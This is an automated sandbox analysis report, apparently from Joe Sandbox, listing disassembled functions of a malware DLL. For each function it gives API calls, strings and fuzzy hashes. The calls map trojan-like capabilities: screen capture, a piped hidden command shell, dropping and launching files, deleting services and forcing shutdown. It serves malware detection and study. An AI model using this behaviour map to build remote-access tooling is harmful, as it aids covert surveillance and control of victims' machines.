String ID:
API String ID: 2417226690-0
Opcode ID: 523490bc2d94b0d7756f7d4d37bf8ee191280429be56288e699c6d730fde9414
Instruction ID: 45f00129b3a88b62b8b3c31b6bbab387af6d60eef2898fc0a2719d9f52ccadeb
Opcode Fuzzy Hash: 523490bc2d94b0d7756f7d4d37bf8ee191280429be56288e699c6d730fde9414
Instruction Fuzzy Hash: 7FF0EC3A30024957C704DF35CC556667F95EFC1760B174059EB19CB151C671A847CB54

Function 100503A5 Relevance: 1.5, APIs: 1, Instructions: 27COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 10048F30: RtlEnterCriticalSection.NTDLL(-000295D3), ref: 10048F3F

EnumSystemLocalesW.KERNEL32(10050398,00000001,1007D908,0000000C,100507BB,00000000), ref: 100503DD

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: f2b31b35b963a7c4bd42eb5ec53c44fe35d168983ffdb130e145ca897570a2a9
Instruction ID: 7f4005c5834a16474fab92980e80c6f236c6745e31e581144a18653f01e6e843
Opcode Fuzzy Hash: f2b31b35b963a7c4bd42eb5ec53c44fe35d168983ffdb130e145ca897570a2a9
Instruction Fuzzy Hash: B2F03A39900215DFEB01EF68CC46BAD7BB1FB44321F104216F518DB2A1CB745A44CF45

Function 100181D0 Relevance: 1.5, APIs: 1, Instructions: 17shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 10020650: LoadLibraryW.KERNEL32(100782C8), ref: 1002066B
Part of subcall function 10020650: LoadLibraryW.KERNEL32(10077444), ref: 1002069E
Part of subcall function 10020650: GetProcAddress.KERNEL32(00000000,10077470), ref: 100206AC

ExitWindowsEx.USER32(?,00000000), ref: 100181E7

Part of subcall function 10020650: LoadLibraryW.KERNEL32(100784DC), ref: 1002070B
Part of subcall function 10020650: GetProcAddress.KERNEL32(00000000,100784F8), ref: 10020717
Part of subcall function 10020650: CloseHandle.KERNEL32(?), ref: 10020731

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: LibraryLoad$AddressProc$CloseExitHandleWindows
String ID:
API String ID: 2392996298-0
Opcode ID: 3ea7901086e65344f11d79aca33693397c5ccc75f64198f2e58b2052378a8d7d
Instruction ID: 402620fa5a1966597bdddeaff15d5e0306a82cf1ef27bf28a06f217d553292bd
Opcode Fuzzy Hash: 3ea7901086e65344f11d79aca33693397c5ccc75f64198f2e58b2052378a8d7d
Instruction Fuzzy Hash: 59D0223152032412F220A7782C4BB96328FCB85220F804363BC14762C2ACE6F92001DD

Function 1002A4D0 Relevance: 37.8, APIs: 25, Instructions: 328stringservicememoryCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000), ref: 1002A519
OpenServiceA.ADVAPI32(?,?,000F01FF,1002A201,00000001), ref: 1002A5FD
QueryServiceConfig2A.ADVAPI32(00000000,00000001,?,?,?), ref: 1002A628
QueryServiceConfigA.ADVAPI32(?,?,00002000,00002000), ref: 1002A6EE
LocalSize.KERNEL32(00000000), ref: 1002A768
LocalReAlloc.KERNEL32(00000000,?,00000042), ref: 1002A782
lstrlen.KERNEL32(?), ref: 1002A793
lstrlen.KERNEL32(?), ref: 1002A7B2
lstrlen.KERNEL32(?), ref: 1002A7C8
lstrlen.KERNEL32(?), ref: 1002A7EF
lstrlen.KERNEL32(?), ref: 1002A7FC
lstrlen.KERNEL32(?), ref: 1002A81D
lstrlen.KERNEL32(?), ref: 1002A82D
lstrlen.KERNEL32(?), ref: 1002A854
lstrlen.KERNEL32(?), ref: 1002A863
lstrlen.KERNEL32(?), ref: 1002A888
lstrlen.KERNEL32(?), ref: 1002A897
lstrlen.KERNEL32(?), ref: 1002A8BC
lstrlen.KERNEL32(?), ref: 1002A8C7
lstrlen.KERNEL32(?), ref: 1002A8E4
lstrlen.KERNEL32(?), ref: 1002A8F3
lstrlen.KERNEL32(?), ref: 1002A918
CloseServiceHandle.ADVAPI32(?), ref: 1002A92D
CloseServiceHandle.ADVAPI32(?), ref: 1002A95B
LocalReAlloc.KERNEL32(00000000,?,00000042), ref: 1002A96A

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: lstrlen$Service$Local$AllocCloseHandleOpenQuery$ConfigConfig2ManagerSize
String ID:
API String ID: 3080365727-0
Opcode ID: c9726cd17e42162a066cdef089aac86d3290cc942457c7e2b3b39a06ce998c58
Instruction ID: a3be7a127e673c228dd4925915da1cfea05ce204894ee203c66c57baf8a49576
Opcode Fuzzy Hash: c9726cd17e42162a066cdef089aac86d3290cc942457c7e2b3b39a06ce998c58
Instruction Fuzzy Hash: 08C14C71D0022AAFEB61DB90CC89F9A7BBAFF04305F058091F689E6151DF759A98CF14

Function 100571FF Relevance: 33.2, APIs: 22, Instructions: 188synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 1005E8D4: _free.LIBCMT ref: 1005E8F6

_free.LIBCMT ref: 10057270
WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 10057333
GetExitCodeProcess.KERNEL32(?,?), ref: 10057340
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 10057355
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 10057360
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 1005736B
__dosmaperr.LIBCMT ref: 10057372
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 1005737D
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 10057388
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 1005739A
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 100573A5
_free.LIBCMT ref: 10057265

Part of subcall function 1004D9B2: HeapFree.KERNEL32(00000000,00000000,?,1005AA7F,10053BE7,00000000,10053BE7,?,?,1005AD24,10053BE7,00000007,10053BE7,?,10058D36,10053BE7), ref: 1004D9C8
Part of subcall function 1004D9B2: GetLastError.KERNEL32(10053BE7,?,1005AA7F,10053BE7,00000000,10053BE7,?,?,1005AD24,10053BE7,00000007,10053BE7,?,10058D36,10053BE7,10053BE7), ref: 1004D9DA

_free.LIBCMT ref: 1005729E
_free.LIBCMT ref: 100572A9
_free.LIBCMT ref: 100572B4
_free.LIBCMT ref: 100573B0
_free.LIBCMT ref: 100573BC
_free.LIBCMT ref: 100573C8
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 100573D6
_free.LIBCMT ref: 100573DF
_free.LIBCMT ref: 100573EB
_free.LIBCMT ref: 100573F7

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: _free$CloseHandle$ErrorLast$CodeExitFreeHeapObjectProcessSingleWait__dosmaperr
String ID:
API String ID: 3529756214-0
Opcode ID: f89c313329530165e33727de20b3d365a58936ccbb6a1bad69924e242e7bb26a
Instruction ID: c0f2c6c2f9fe5835ec5b00b66026b5b5ba310004d9ebc461a7fea94083d53a43
Opcode Fuzzy Hash: f89c313329530165e33727de20b3d365a58936ccbb6a1bad69924e242e7bb26a
Instruction Fuzzy Hash: 76517F75800119FBDF11DF90E885ADE7BBAFF40311F224066FD08A6150DB316E58EB61

Function 1002A1B0 Relevance: 27.2, APIs: 18, Instructions: 214stringservicememoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000400), ref: 1002A223
OpenSCManagerA.ADVAPI32(00000000,00000000,00000002), ref: 1002A261
OpenServiceA.ADVAPI32(00000000,00000002,000F01FF), ref: 1002A271
GetLastError.KERNEL32 ref: 1002A27C
QueryServiceStatus.ADVAPI32(00000000,?), ref: 1002A287
ControlService.ADVAPI32(00000000,00000001,?), ref: 1002A29A
DeleteService.ADVAPI32(00000000), ref: 1002A2A1
CloseServiceHandle.ADVAPI32(?), ref: 1002A2AC
CloseServiceHandle.ADVAPI32(?), ref: 1002A2B5
Sleep.KERNEL32(00000064), ref: 1002A2BD
lstrlen.KERNEL32(00000002), ref: 1002A2C8
LocalSize.KERNEL32(00000000), ref: 1002A2D5
lstrlen.KERNEL32(00000002,00000042), ref: 1002A2E2
LocalReAlloc.KERNEL32(00000000,00000000), ref: 1002A2EF
lstrlen.KERNEL32(00000002), ref: 1002A2FD
lstrlen.KERNEL32(00000002), ref: 1002A312
lstrlen.KERNEL32(00000002), ref: 1002A322

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Service$lstrlen$Local$AllocCloseHandleOpen$ControlDeleteErrorLastManagerQuerySizeSleepStatus
String ID:
API String ID: 1710395047-0
Opcode ID: 4e6195b95e974620fd8713000a2058a358cea4ec90548153cb576802796274a0
Instruction ID: 5f53909c66c5487652677595c079e137474335fa5a09c8ece76edee9df9807ae
Opcode Fuzzy Hash: 4e6195b95e974620fd8713000a2058a358cea4ec90548153cb576802796274a0
Instruction Fuzzy Hash: ED619475D04228AFDB01DFA4DC85BAFB7FAEF4D311F41405AF906AB241CE756A448BA0

Function 100287C0 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 208COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?), ref: 100287E4
GetFileSize.KERNEL32(00000000,00000000), ref: 10028842
CloseHandle.KERNEL32(00000000), ref: 10028851

Strings

Disable, xrefs: 100289B9
Enable, xrefs: 100289A7

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: CloseEventFileHandleSize
String ID: Disable$Enable
API String ID: 2912433508-1261744749
Opcode ID: 283dfc7dd64cbc9a946f8b19d4af0399937d037122d4cc6e83708c09a345c6fc
Instruction ID: 65daffb511cbd46625f490a3220de8d2a23eece8960260fe788119e7b57a5541
Opcode Fuzzy Hash: 283dfc7dd64cbc9a946f8b19d4af0399937d037122d4cc6e83708c09a345c6fc
Instruction Fuzzy Hash: 6461ED38D003656BEB11CF74DC80BA87B63EF46340F948259FE856B242EB716A928390

Function 1004933B Relevance: 22.8, APIs: 15, Instructions: 343COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 100493AB
_free.LIBCMT ref: 100493C0
_free.LIBCMT ref: 100493D5
_free.LIBCMT ref: 100493EA
_free.LIBCMT ref: 100493FF
GetCPInfo.KERNEL32(?,?), ref: 10049449

Part of subcall function 10053301: _free.LIBCMT ref: 1005336C

_free.LIBCMT ref: 1004968D
_free.LIBCMT ref: 100496A0
_free.LIBCMT ref: 100496AE
_free.LIBCMT ref: 100496B9
_free.LIBCMT ref: 100496FB
_free.LIBCMT ref: 10049703
_free.LIBCMT ref: 1004970B
_free.LIBCMT ref: 10049713
_free.LIBCMT ref: 10049721

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: c4b7c7b73d82581ed94c9f79f55ac657ce82776b65a811a00dd60912a9f433c8
Instruction ID: 29ea24923a35ea915172a8e38e642610aef7fa3c1a2c6eb3d111500899ecabfd
Opcode Fuzzy Hash: c4b7c7b73d82581ed94c9f79f55ac657ce82776b65a811a00dd60912a9f433c8
Instruction Fuzzy Hash: 8AD19B74A012469FDB11CFA8C881BEEBBF5FF08300F21447AE999E7242D675AD45CB64

Function 10032420 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 215sleepCOMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000,?), ref: 100324A1

Part of subcall function 10030BD0: GetCurrentThreadId.KERNEL32 ref: 10030BE8
Part of subcall function 10030BD0: GetThreadDesktop.USER32(00000000), ref: 10030BEF
Part of subcall function 10030BD0: OpenInputDesktop.USER32(00000000,00000000,02000000), ref: 10030C3A
Part of subcall function 10030BD0: lstrcmpiA.KERNEL32(?,?), ref: 10030C7E
Part of subcall function 10030BD0: SetThreadDesktop.USER32(00000000), ref: 10030C89

ReleaseDC.USER32(?,?), ref: 100324FA
GetDesktopWindow.USER32 ref: 10032500
GetDC.USER32(00000000), ref: 1003250D
GetTickCount.KERNEL32 ref: 10032521
GetSystemMetrics.USER32(00000050), ref: 10032536
Sleep.KERNEL32(00000008,00000000), ref: 1003258E
Sleep.KERNEL32(00000000), ref: 100325CC
Sleep.KERNEL32(00000000,00000008,?,00000001,00000008,?,?,00000008,?,00000001), ref: 1003260B
Sleep.KERNEL32(00000000), ref: 10032655
SetRect.USER32(00000030,00000000,00000000,?,?), ref: 1003268A

Strings

, xrefs: 10032516

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: DesktopSleep$Thread$CountCurrentCursorInputLoadMetricsOpenRectReleaseSystemTickWindowlstrcmpi
String ID:
API String ID: 2389640985-3916222277
Opcode ID: 52badff5b4d4cb1de07196544032dc56af8db64f36556531d39e5ba2d0c3a1e8
Instruction ID: a722f95fbdac056ee06f3a48056855751e3e5016b536a024836daecbb1eb59ca
Opcode Fuzzy Hash: 52badff5b4d4cb1de07196544032dc56af8db64f36556531d39e5ba2d0c3a1e8
Instruction Fuzzy Hash: 5F913571900254EFEF159F64CC85B597FA2FF08300F1541AAEE459F2AAEB72E850CB90

Function 1001F2E0 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 485fileCOMMON

Download Yara Rule

APIs

SHGetSpecialFolderPathA.SHELL32(00000000,?,0000001A,00000000), ref: 1001F55D
wsprintfA.USER32 ref: 1001F57C

Part of subcall function 10019F50: GetProcessHeap.KERNEL32(00000000,00000014), ref: 10019FB5
Part of subcall function 10019F50: RtlAllocateHeap.NTDLL(00000000), ref: 10019FBC
Part of subcall function 10019F50: VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 1001A06C

CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000004,00000000,00000000), ref: 1001F59B
GetFileSize.KERNEL32(00000000,00000000), ref: 1001F5B1
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 1001F604
CloseHandle.KERNEL32(00000000), ref: 1001F614

Strings

ARPD, xrefs: 1001F3FF, 1001F529
PluginMe, xrefs: 1001F7BF
isARDll, xrefs: 1001F3C9
getDllName, xrefs: 1001F71D
isCSDll, xrefs: 1001F7B3

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: File$Heap$AllocAllocateCloseCreateFolderHandlePathProcessSizeSpecialVirtualWritewsprintf
String ID: ARPD$PluginMe$getDllName$isARDll$isCSDll
API String ID: 268699387-2378132350
Opcode ID: 3b13e694d258432e79d20dedfd73d3652f189f1f7819bca22a006c1c075edc9d
Instruction ID: 36d3e5b69c688cf18c29ffadb60bf7c3e182e5066e73595de7a75e096eab22e7
Opcode Fuzzy Hash: 3b13e694d258432e79d20dedfd73d3652f189f1f7819bca22a006c1c075edc9d
Instruction Fuzzy Hash: 8502D171A006189BDB24CB28CD85BAEB7B1EF95346F1042DCE409AB285DB34EFC58F50

Function 10026670 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 217pipeprocessstringCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 100266AC
CreatePipe.KERNEL32 ref: 1002673F
CreatePipe.KERNEL32(00000000,00000000,?,00000000), ref: 10026787
GetStartupInfoA.KERNEL32(?), ref: 100267CD
GetSystemDirectoryA.KERNEL32 ref: 10026811
lstrcat.KERNEL32 ref: 10026845
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?,?,?,?,?), ref: 1002686B
WaitForSingleObject.KERNEL32(?,000000FF,?,00000001,?,?,?,?), ref: 100268D7

Strings

.exe, xrefs: 10026831
D, xrefs: 100267D5
\cmd, xrefs: 1002681E

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Create$Pipe$DirectoryEventInfoObjectProcessSingleStartupSystemWaitlstrcat
String ID: .exe$D$\cmd
API String ID: 2606278758-2440019170
Opcode ID: 3ed9c315bf05898f21788ab9fcfc7504eef255f47bcdf1122a02478e74f96d2a
Instruction ID: 786f3573f654844e046453a757b94a0ba9031c78cdcd2f39e8521909087c700e
Opcode Fuzzy Hash: 3ed9c315bf05898f21788ab9fcfc7504eef255f47bcdf1122a02478e74f96d2a
Instruction Fuzzy Hash: 1C8149B1604345AFE320DF64DC85F9BB7E9EF88710F51091EF689DB290DBB0A5048B96

Function 100111D0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 229fileprocessCOMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 100111EF
GetTempPathW.KERNEL32(00000104,?), ref: 10011216
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,00000080,00000000), ref: 1001125E
CloseHandle.KERNEL32(00000000), ref: 1001126A
DeleteFileW.KERNEL32(?), ref: 10011277
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000000,00000000,?), ref: 100113C0
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,00000000,00000000,?), ref: 1001140B
CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 100114A7

Strings

<, xrefs: 100112F5
D, xrefs: 1001143D

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: File$Create$CloseDeleteHandlePathProcessTempWrite_wcsrchr
String ID: <$D
API String ID: 2398361806-1382654409
Opcode ID: 899b3174667d240c671d059c459f3017cd6c3f57b25ff8dbf47844304b279ae1
Instruction ID: 5ef1a3b275aca8608455a5efd5301564ccfbb53e988b83423ec15216829ac455
Opcode Fuzzy Hash: 899b3174667d240c671d059c459f3017cd6c3f57b25ff8dbf47844304b279ae1
Instruction Fuzzy Hash: FC813171A00229ABEB21DB61CC85BEA77F9FB59740F118195F609A6180DFB09FC58F60

Function 100241D0 Relevance: 16.6, APIs: 11, Instructions: 146sleepfilememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 10024224
Sleep.KERNEL32(000001F4), ref: 1002423A
GetLastError.KERNEL32 ref: 10024256
wsprintfA.USER32 ref: 1002426A
SetFilePointer.KERNEL32(?,?,?,00000000), ref: 100242E2
LocalAlloc.KERNEL32(00000040,00002000), ref: 100242F9
ReadFile.KERNEL32(?,00000009,00001FF7,00000000,00000000), ref: 1002432D
LocalFree.KERNEL32(00000000,00000000,-00000009), ref: 10024363
Sleep.KERNEL32(00000032), ref: 10024374
LocalFree.KERNEL32(00000000), ref: 1002439F
CloseHandle.KERNEL32(?), ref: 100243AB

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: FileLocal$FreeSleep$AllocCloseCreateErrorHandleLastPointerReadwsprintf
String ID:
API String ID: 623555137-0
Opcode ID: 65d77f132fbdbeaf6306fcc9b00634c87e66eb509b3b1eef113a91381f9c837a
Instruction ID: ccae23a96e95919625752bdad9cb5dd0a5c24f73f402aa891b09639bbfb38deb
Opcode Fuzzy Hash: 65d77f132fbdbeaf6306fcc9b00634c87e66eb509b3b1eef113a91381f9c837a
Instruction Fuzzy Hash: F551C7B1A00228DFE710CF64DC84B99B7B9EF04300F4281E9F7099B291DBB19A85CF64

Function 10025090 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 247stringsynchronizationthreadCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,10081068), ref: 100250DD
WaitForSingleObject.KERNEL32(?,000000FF,10081068), ref: 10025100
CloseHandle.KERNEL32(?), ref: 10025109
lstrcpy.KERNEL32(?,?), ref: 10025189
CreateThread.KERNEL32(00000000,00000000,100253E0,?,00000000,00000000), ref: 10025203
waveOutGetNumDevs.WINMM ref: 1002529B
waveOutOpen.WINMM(?,0000FFFF,?,00000001,00000001,00000001,?), ref: 100252E7
waveOutPrepareHeader.WINMM(?,?,00000020), ref: 10025328

Strings

N/A@, xrefs: 100251BD

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: wave$CloseCreateDevsEventHandleHeaderObjectOpenPrepareSingleThreadWaitlstrcpy
String ID: N/A@
API String ID: 764069715-4129345051
Opcode ID: 7323ba334bfb610fab8e08a269bd99daf50d31b3a4be74cd48c6995e9e79bceb
Instruction ID: 47563312a0fc17b4a1b64f804b7a2416886b3209ef52ef290e37a0e1b3c01b8f
Opcode Fuzzy Hash: 7323ba334bfb610fab8e08a269bd99daf50d31b3a4be74cd48c6995e9e79bceb
Instruction Fuzzy Hash: 9FA1D071A007199FDB20CF64DC85B8ABBF5FF09341F414499EA4AAB281D772EA54CF84

Function 10023670 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 198processstringCOMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 100236A0
_strrchr.LIBCMT ref: 100236C8
wsprintfA.USER32 ref: 10023781
ExpandEnvironmentStringsA.KERNEL32(?,?,00000104), ref: 100237F1
_strstr.LIBCMT ref: 10023803
_strstr.LIBCMT ref: 1002381B
lstrcpy.KERNEL32(00000000), ref: 10023849
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 100238E2

Strings

D, xrefs: 1002384F

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: _strrchr_strstr$CreateEnvironmentExpandProcessStringslstrcpywsprintf
String ID: D
API String ID: 4149003945-2746444292
Opcode ID: 3e73d4a83887374021f13c5da11a292d1b00b387e3aa54c9bcf8239100bd54f5
Instruction ID: 1caa808d4564248101c784bcb04cd0b791b72e985642bf120115b546435730cc
Opcode Fuzzy Hash: 3e73d4a83887374021f13c5da11a292d1b00b387e3aa54c9bcf8239100bd54f5
Instruction Fuzzy Hash: 0E61C9B5D4071D6ADB21CA509C46FEB73BCEF48745F4045DAFA08AA141EBB1AB848F90

Function 100374C0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 137COMMON

Download Yara Rule

APIs

__Getcvt.LIBCPMT ref: 100374FE
__Getcvt.LIBCPMT ref: 10037536

Strings

true, xrefs: 100375BD
false, xrefs: 10037589

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Getcvt
String ID: false$true
API String ID: 1921796781-2658103896
Opcode ID: 47185ba96e5af19553e0c8a8cad828e47773be1976c07375410ccb7ed204e218
Instruction ID: f0f8e2943ad4460293dbc00bc4894cc9d6669610e4ede311a213f4e74158cb4e
Opcode Fuzzy Hash: 47185ba96e5af19553e0c8a8cad828e47773be1976c07375410ccb7ed204e218
Instruction Fuzzy Hash: F0417635A046805FDF26CFA8C94175ABBA1FF81211F1481AED8895F382C7B6A905CBA1

Function 100524DA Relevance: 13.8, APIs: 9, Instructions: 302COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8130b5bf3d6a6504ef1b2988e7de1d48f8553a154777b98b391ff1118c4f9026
Instruction ID: 7985e204e576b4bef692afe4547fa3636b717694c8562f03cc4c105b6e8efaf9
Opcode Fuzzy Hash: 8130b5bf3d6a6504ef1b2988e7de1d48f8553a154777b98b391ff1118c4f9026
Instruction Fuzzy Hash: D7C1D174E086499FDB05CF98C881BADBBB1FF4A350F214169F814A7292DB70AD49CB61

Function 10032810 Relevance: 13.8, APIs: 9, Instructions: 273sleepwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 10030BD0: GetCurrentThreadId.KERNEL32 ref: 10030BE8
Part of subcall function 10030BD0: GetThreadDesktop.USER32(00000000), ref: 10030BEF
Part of subcall function 10030BD0: OpenInputDesktop.USER32(00000000,00000000,02000000), ref: 10030C3A
Part of subcall function 10030BD0: lstrcmpiA.KERNEL32(?,?), ref: 10030C7E
Part of subcall function 10030BD0: SetThreadDesktop.USER32(00000000), ref: 10030C89

ReleaseDC.USER32(?,?), ref: 10032842
GetDesktopWindow.USER32 ref: 10032848
GetDC.USER32(00000000), ref: 10032855
GetCursorPos.USER32(?), ref: 10032874
GetSystemMetrics.USER32(00000000), ref: 10032889
GetCursorInfo.USER32(00000014), ref: 100328F3
DestroyCursor.USER32(?), ref: 10032943
Sleep.KERNEL32(00000032,?,?), ref: 10032982
BitBlt.GDI32(00000000,00000000,00000000,00000000,?,?,?,00000000,?), ref: 100329C6

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Desktop$CursorThread$CurrentDestroyInfoInputMetricsOpenReleaseSleepSystemWindowlstrcmpi
String ID:
API String ID: 1765932616-0
Opcode ID: 6a33f27fed84e6d03566300163f1dde5321f8d410a70f1908f64162ccb635e84
Instruction ID: 7579fc6ac411246c87f2577ad8d88e6ee9d50e72280a8eb3aea8037765a0d85c
Opcode Fuzzy Hash: 6a33f27fed84e6d03566300163f1dde5321f8d410a70f1908f64162ccb635e84
Instruction Fuzzy Hash: FCB13CB1A00215CFDF15CF68D8C0A9DBBF1FF59315F2582AAD905AB216D731A990CF90

Function 1005A844 Relevance: 13.7, APIs: 9, Instructions: 201COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 1005A8B2
_free.LIBCMT ref: 1005A8BE
_free.LIBCMT ref: 1005A9E7
_free.LIBCMT ref: 1005A9F2

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: f5c421c31156489343b0da40b126b6eeecb66c355fd69381b6d845816dfd98a2
Instruction ID: 39db7832273ac5931eafd64f4a08040df3c92ea27cb9b648b8a3d62a5ce9ff67
Opcode Fuzzy Hash: f5c421c31156489343b0da40b126b6eeecb66c355fd69381b6d845816dfd98a2
Instruction Fuzzy Hash: 5A610676900345AFD721DF64C881BAAB7F8FF45350F22456BE945EB281EB30AD84CB60

Function 1002D4A0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 170processCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 1002D4DD
GetLastError.KERNEL32 ref: 1002D4E3
wsprintfA.USER32 ref: 1002D560

Part of subcall function 1002F230: GetWindowsDirectoryA.KERNEL32(?,00000104,1006421C), ref: 1002F265
Part of subcall function 1002F230: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1002F2A6
Part of subcall function 1002F230: wsprintfA.USER32 ref: 1002F325

GetFileAttributesA.KERNEL32(?), ref: 1002D5F7
